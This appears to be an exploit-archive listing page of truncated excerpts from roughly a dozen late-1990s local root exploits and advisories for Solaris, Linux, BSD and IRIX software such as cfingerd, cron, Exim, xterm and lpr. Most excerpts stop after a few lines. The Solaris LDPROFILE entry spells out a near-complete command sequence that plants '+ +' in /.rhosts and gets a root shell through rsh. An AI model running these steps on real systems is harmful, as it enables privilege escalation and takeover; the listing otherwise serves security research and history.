FreeBSD-SA-00:09.mtr

-----BEGIN PGP SIGNED MESSAGE----- ============================================================================= FreeBSD-SA-00:09 Security Advisory FreeBSD, Inc. Topic: mtr port contains a local root exploit. Category: ports Module: mtr Announced: 2000-03-15 Affects: Ports collection before the...

Halloween Linux 4.0 RedHat Linux 6.16.2 - imwheel (1)

Halloween Linux 4.0 RedHat Linux 6.16.2 - imwheel 1 // source: https://www.securityfocus.com/bid/1060/info A vulnerability exists in the 'imwheel' package for Linux. This package is known to be vulnerable to a buffer overrun in its handling of the HOME environment variable. By supplying a...

solaris_root_exploit.txt

works on solaris 2.6 sparc anyway... ! /bin/ksh LDPROFILE local root exploit for solaris [email protected] 19990922 umask 000 ln -s /.rhosts /var/tmp/ps.profile export LDPROFILE=/usr/bin/ps /usr/bin/ps echo + + /.rhosts rsh -l root localhost csh -i -- 1024/D9C69DF9 steve mynott...

SuSE_root_exploit.txt

nlservd/rnavc local root exploit for Linux x86 tested on SuSE 6.2 exploits Arkiea's Knox backup package. gcc -o knox knox.c ./knox NOTE: you MUST have void mainsetuidgeteuid; system"/bin/bash"; compiled in /tmp/ui for this to work. To exploit rnavc, simply change the execl call to...

Knox Arkeia 4.0 Backup - Local Overflow

/ source: https://www.securityfocus.com/bid/661/info Knox Software Arkeia 4.0 Backup rnavc & nlserverd HOME Environment Variable Buffer Overflow A local buffer overflow in the handling of the HOME environment variable by the rlserver and rnavc binaries that are part of the Knox Software Arkiea...

freebsd_root_exploit.txt

Subject: FreeBSD and other BSDs? local root explot To: [email protected] -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 / c 1999 babcia padlina ltd. bug in ftsprint function allows to overwrite any file in system, when running /etc/security script executed from 'daily' scripts. affected...

Martin Schulze Cfingerd 1.4.2 - GECOS Buffer Overflow

Martin Schulze Cfingerd 1.4.2 - GECOS Buffer Overflow // source: https://www.securityfocus.com/bid/651/info Under systems that allow the user to change his GECOS field from the password file and do not limit its length cfingerd is vulnerable to a local root or nobody buffer overflow. By setting a...

Martin Schulze Cfingerd 1.4.2 - GECOS Buffer Overflow

// source: https://www.securityfocus.com/bid/651/info Under systems that allow the user to change his GECOS field from the password file and do not limit its length cfingerd is vulnerable to a local root or nobody buffer overflow. By setting a carefully designed GECOS field it is possible to...

RedHat Linux 4.25.26.0 S.u.S.E Linux 6.06.1 - Cron Buffer Overflow (2)

RedHat Linux 4.25.26.0 S.u.S.E Linux 6.06.1 - Cron Buffer Overflow 2 // source: https://www.securityfocus.com/bid/602/info The version of Vixie cron that ships with RedHat versions 4.2, 5.2 and 6.0 is vulnerable to a local buffer overflow attack. By utilizing the MAILTO environment variable, a...

Exim Buffer 1.6.2/1.6.51 - Local Overflow

/ source: https://www.securityfocus.com/bid/1859/info A potential local root yielding buffer overflow vulnerability exists in Exim mail client version 1.62. A buffer used in processing filenames of message attachments can be overflowed by a maliciously-formed filename. As a result, the excessive...

Solaris 5.5.1 X11R6.3 xterm (-xrm) Local Root Exploit

Exploit for solaris platform in category local exploits ===================================================== Solaris 5.5.1 X11R6.3 xterm -xrm Local Root Exploit ===================================================== / X11R6.3 xterm exploit for solaris 5.5.1 by DCRH 28/5/97 / include include inclu...

IRIX 5.3 /usr/sbin/iwsh Local Root Buffer Overflow

Exploit for irix platform in category local exploits ================================================== IRIX 5.3 /usr/sbin/iwsh Local Root Buffer Overflow ================================================== / /usr/sbin/iwsh.c exploit by DCRH 27/5/97 Tested on: R3000 Indigo Irix 5.3 R4400 Indy Irix...

BSD and Linux lpr Command Local Root Exploit

Exploit for linux platform in category local exploits ============================================ BSD and Linux lpr Command Local Root Exploit ============================================ -------------------------------------- linuxlprexploit.c ---------- include include include define...